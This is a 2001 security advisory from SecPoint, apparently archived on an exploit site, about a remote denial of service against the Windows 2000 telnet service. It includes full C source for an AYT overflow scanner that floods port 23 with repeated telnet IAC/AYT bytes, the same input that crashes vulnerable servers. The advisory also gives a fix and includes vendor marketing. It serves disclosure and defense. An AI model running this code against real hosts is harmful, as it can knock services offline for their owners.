exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

spadv03.txt

spadv03.txt
Posted Jul 30, 2001
Authored by SecPoint | Site secpoint.com

The Windows 2000 telnetd service is vulnerable to a remote denial of service attack. The service crashes when scanned for the recent AYT telnetd vulnerability discovered by Scut. Includes SPtelnetAYT.c, a scanner for the AYT vulnerability in telnet daemons build upon the BSD source.

tags | exploit, remote, denial of service
systems | windows, bsd
SHA-256 | 0ef77272ca00d7561e2ec1a992da524fa9ac1e25f7723de4dd30a596d8a408ce

spadv03.txt

Change Mirror Download
    Security Point(R)
info@secpoint.com
http://www.secpoint.com/

Advisory #003
Title: Vulnerability in Windows 2000 TELNET service.
Date: 25-07-01


Copyright (c) 2001 SECURITY POINT(R)

Contents:
=========

I Disclaimer
II Introduction
III Description
IV Demonstration code
V Fix
VI Contact
VII Security Point(R) Scanner
VIII Greetings

I - Disclaimer:
===============

This paper is for educational purpose only, Security Point(R) will not be
responsible for any damages whatsoever that have a connection with the
information written in this paper. There are no warranties with regard
to this information, any use of this information is at the user's own risk.

II - Introduction:
==================
After coding a vulnerability scanner for the security hole in most telnet
daemons under UNIX it was found that the Windows 2000 Telnet service to be
vulnerable to a Denial of Service attack.
This was tested against a Windows 2000 Service Pack 2 and all single patches
applied.


III - Description:
==================
This utility is meant to scan for the AYT vulnerability in telnet daemons
build upon the BSD source.


IV - Demonstration code
=======================

/*
* Telnetd AYT overflow scanner, by Security Point(R)
* Bug found by scut of TESO Security
*
* Date: 25/07/01
* Author: Security Point(R)
* WWW: http://www.secpoint.com
* Email: info@secpoint.com
*
* This program checks for the AYT overflow related to the
* newly discovered telnetd vulnerabilities.
*
* Tested against:
* Vulnerable:
* netkit-telnet-0.10
* FreeBSD 4.2
* Windows 2000 Service Pack2 Telnet service will
* crash when scanned.
* Not vulnerable:
* netkit-telnet-0.17
*
*
*
* Please keep us updated with the OS's that you check, and
* report back to us on info@secpoint.com, weather the system
* is vulnerable or not. So we can construct a full list
* of vulnerable systems.
*
*
* This source code is for educational purpose ONLY,
* Security Point(R) will not be responsible for any damages
* whatsoever that have a connection with this code. There are
* no warranties with regard to this information.
*
* Are your networks under attack at this moment?
*
* With Security Point(R) Scanner you can find and repair the
* Vulnerabilities before the bad guys get in.
*
* Please see http://www.secpoint.com/solutions.php
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <sys/socket.h>
#include <signal.h>
#include <unistd.h>

struct in_addr addr;
struct sockaddr_in address;
struct hostent *host;
int sock;

char sendbuffer[5120];
char buffer[5120*2];
int i;

void handle_alarm(int signum) {
alarm(0);
}

int main (int argc, char *argv[]) {
printf("Telnetd AYT overflow checker, by SECPoint\n");
if (argc!=2) {
printf("Usage: %s <host>\n", argv[0]);
exit(EXIT_FAILURE);
}
printf("Host: %s\n", argv[1]);
if ((host=gethostbyname(argv[1])) == NULL) {
perror("gethostbyname");
exit(0);
exit(EXIT_FAILURE);
}
if (( sock = socket(AF_INET, SOCK_STREAM,0)) < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
bcopy(host->h_addr, (char *)&address.sin_addr, host->h_length);
address.sin_family=AF_INET;
address.sin_port = htons(23); // telnet
if (connect(sock, (struct sockaddr*)&address, sizeof(address)) < 0) {
perror("connect");
exit(EXIT_FAILURE);
}
printf("Connected to remote host...\n");
printf("Sending telnet options... stand by...\n");
signal(SIGALRM,handle_alarm);

bzero(sendbuffer,sizeof(sendbuffer));
for (i=0;i<sizeof(sendbuffer);i++) {
sendbuffer[i]=(i%2) ? '\xf6' : '\xff';
}

alarm(60);
read(sock, buffer, sizeof(buffer));
alarm(0);

write(sock, sendbuffer, strlen(sendbuffer));

bzero(buffer,sizeof(buffer));

alarm(60);
if (read(sock, buffer, sizeof(buffer)) <=0) {
printf("Telnetd on %s vulnerable\n",argv[1]);
exit(EXIT_SUCCESS);
}
alarm(0);
printf("Telnetd on %s not vulnerable\n",argv[1]);
exit(EXIT_SUCCESS);
}


V - Fix:
========
Temporary solution:
Disable telnet service.
Do the following:

Start->Control-Panel->Administrative-Utils->Services
Find the telnet service and select disable

Microsoft has been notified on this issue and we are awaiting patch
information.


VI - Contact:
=============

If you have further questions regarding this bug, then you can contact us at
www.secpoint.com
info@secpoint.com

VII - Security Point(R) Scanner:
=================
Are your networks under attack at this moment?

With Security Point(R) Scanner you can find and repair the vulnerabilities
before the bad guys get in.

One of the world's most powerful security scanner, with more than 3000 checks.

A useable solution for each found vulnerability.

Scans: Firewalls, routers, UNIX, Windows...

User-friendly interface that presents professional reports in PDF format!



VIII - Greetings:
=================
: el8,cr,superluck,s1,cybk0red.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close